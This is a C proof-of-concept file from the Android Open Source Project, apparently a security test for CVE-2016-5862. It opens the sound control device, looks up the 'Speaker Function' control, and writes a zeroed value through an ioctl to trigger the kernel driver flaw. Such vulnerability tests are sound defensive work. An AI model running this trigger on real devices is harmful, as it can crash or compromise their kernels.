1 /*
2  * Copyright (C) 2019 The Android Open Source Project
3  *
4  * Licensed under the Apache License, Version 2.0 (the "License");
5  * you may not use this file except in compliance with the License.
6  * You may obtain a copy of the License at
7  *
8  *      http://www.apache.org/licenses/LICENSE-2.0
9  *
10  * Unless required by applicable law or agreed to in writing, software
11  * distributed under the License is distributed on an "AS IS" BASIS,
12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13  * See the License for the specific language governing permissions and
14  * limitations under the License.
15  */
16 
17 /*
18  * CVE-2016-5862
19  */
20 
21 #include "../includes/common.h"
22 #include <fcntl.h>
23 #include <sound/asound.h>
24 #include <stdio.h>
25 #include <stdlib.h>
26 #include <string.h>
27 #include <sys/ioctl.h>
28 #include <unistd.h>
29 
30 #define SPEAKER "Speaker Function"
31 #define NUM_BLOCKS 16384
32 
get_speakerid(int fd)33 unsigned int get_speakerid(int fd) {
34   unsigned int i;
35   int ret = -1;
36   unsigned int id = 0;
37   struct snd_ctl_elem_list lst;
38   memset(&lst, 0, sizeof(lst));
39   lst.pids = calloc(NUM_BLOCKS, sizeof(struct snd_ctl_elem_list));
40   lst.space = NUM_BLOCKS;
41   ret = ioctl(fd, SNDRV_CTL_IOCTL_ELEM_LIST, &lst);
42   if (ret < 0) {
43     return 0;
44   }
45   for (i = 0; i < lst.count; i++) {
46     if (!strncmp((const char *)lst.pids[i].name, SPEAKER,
47                  (sizeof(SPEAKER) - 1))) {
48       id = lst.pids[i].numid;
49       break;
50     }
51   }
52   free(lst.pids);
53   return id;
54 }
55 
main()56 int main(){
57   int fd = -1;
58   struct snd_ctl_elem_value control;
59   fd = open("/dev/snd/controlC0", O_RDWR);
60   if(fd < 0) {
61     return EXIT_FAILURE;
62   }
63   memset(&control, 0, sizeof(control));
64   control.id.numid = get_speakerid(fd);
65   if(control.id.numid == 0) {
66     close(fd);
67     return EXIT_FAILURE;
68   }
69   ioctl(fd,SNDRV_CTL_IOCTL_ELEM_WRITE,&control);
70   close(fd);
71   return EXIT_SUCCESS;
72 }
73